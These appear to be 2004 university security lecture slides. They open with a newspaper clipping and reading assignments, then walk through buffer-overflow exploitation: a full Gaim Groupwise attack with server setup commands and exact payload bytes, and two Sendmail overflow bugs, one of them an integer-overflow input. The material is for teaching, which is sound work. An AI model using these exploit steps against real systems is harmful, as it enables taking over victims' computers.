
The Daily Mirror, 2004.09.13:

“Batman protestor invades Palace

“A Fathers 4 Justice protestor dressed as

Batman was today protesting on a balcony

at Buckingham Palace. �����

“Fathers 4 Justice have become notorious

for their high profile publicity stunts.

“Recently two protesters hurled condoms

filled with purple flour at Tony Blair

during Prime Minister’s Question Time at

the House of Commons. That highlighted

lax security amid fears the chamber was

under biological attack.”



Assignment due 2004.09.03: Read Gaim.

http://cr.yp.to/2004-494/gaim.html

Assignment due 2004.09.08: read

textbook Chapter 7 pages 277–308.

Assignment due 2004.09.15: read

textbook Chapter 7 pages 309–336.

Assignment due 2004.09.17: read

textbook Chapter 7 pages 360–366.



Alternatives to alphabetic payload

1. Can put non-alphabetic payload

somewhere else in memory.

Payload and smasher can be separate.

2. Check more carefully: maybe the

input doesn’t have to be alphabetic!

In particular, I do not think isalpha

means what you think it means.

3. Often can take over using a pure

smasher without a payload.

This also dodges NX “protection.”

Will come back to this.



Example of technique 2 for Gaim:

Program calls setlocale so

isalpha depends on user’s “locale.”

USA: 41 through 5a, 61 through 7a.

France: 41 through 5a, 61 through 7a,

aa, c0 through d6, d8 through f6,

f8 through ff.

(Some systems: slightly different.)

So, for French targets, many more bytes

are allowed into keyword buffer.

Far fewer restrictions on payload and

smasher.



Try env LANG=french ./thisprogram:

#include <stdio.h>

#include <ctype.h>

#include <locale.h>

int main()

{

int i;

setlocale(LC_ALL,"");

for (i = 0;i < 256;++i)

if (isalpha(i))

printf("%2x\n",i);

printf("\n");

return 0;

}

Some systems: LANG=fr_FR.ISO8859-1.

LANG names are not standardized.



Carrying out an attack

Assume attacker controls computer

with IP address 1.2.3.4.

Attacker installs

OpenSSL, stunnel, ucspi-tcp.

Runs openssl req -x509 -days 3650

-nodes -newkey rsa:1024 -out

stunnel.pem -keyout stunnel.pem.

Creates file stunnel-doit:

cert = stunnel.pem

exec = ./doit

execargs = doit

Runs tcpserver 1.2.3.4 8300

stunnel stunnel-doit.



Now, if anyone on the Internet makes

an SSL connection to 1.2.3.4 port 8300,

attacker’s computer will run doit

with standard input and standard output

talking to that connection.

Attacker creates doit program that reads

4 lines (Gaim’s login) from standard input

and prints the following bytes:

6c 00 00 00; 00 00 00 00;

29 e1 f5 05 (i.e., 100000041);

100 million 90’s;

the 41-byte fingerd payload;

00 00 00 00; 41 00 00 00;

backslash; sixty 55’s;

ff ff ff aa (alphabetic!).



Victim: French user on a Linux computer

with IP address 5.6.7.8. User runs Gaim

and tells Gaim to connect through

Groupwise to IP address 1.2.3.4.

Gaim reads the 100000041 bytes

into a guid buffer.

The backslash, 55’s, ff ff ff aa

are put into msg.

The 55’s and ff ff ff aa

overflow keyword.

ff ff ff aa smashes return address.

Address aaffffff is inside guid,

so Gaim runs attacker’s payload.



Server is authorized by victim to

display messages on victim’s screen.

Server is not authorized to run

server-specified code on victim’s computer

(e.g., to change victim’s files);

but server has managed to do this.

Unauthorized power = security hole.

This isn’t the victim’s fault.

Victim is using Gaim as documented.

It’s Gaim’s fault—specifically, the fault

of the keyword buffer-overflow bug.

Is this code deployed? Yes: Google

shows people using Gaim with Groupwise.



Some Sendmail buffer overflows

while (*tz != ’\0’)

*q++ = *tz++;

How do we know *q is inside array?

We don’t! tz could be too long.

tz is the name of a

user-specified time zone.

On many systems, user can

specify long time-zone names,

overflowing array that q points to.

This bug lets user take over Sendmail.

Sendmail runs as root: it has

complete control over the computer.



int first;

register int i;

...

i = 0;

while (isdigit(*s))

i = i * 10 + (*s++ - ’0’);

first = i;

...

if (first >= tTsize)

first = tTsize - 1;

tTvect[first] = i;

tTsize is 100.

tTvect is an array of 100 ints.

Didn’t we check that tTvect[first]

is inside array? Actually, we didn’t!



int values are -2147483648,

-2147483647, ����� , 2147483647.

Arithmetic is modulo 232.

214748464 * 10 is -2147482656.

If s is "2147484648"

then first is set to -2147482648.

>= tTsize? No; skip.

first is then multiplied by

sizeof(int), i.e., by 4.

4 * -2147482648 is 4000.

So write to tTvect[1000]. Oops!

Attacker controls s and final i,

so can take control of computer.


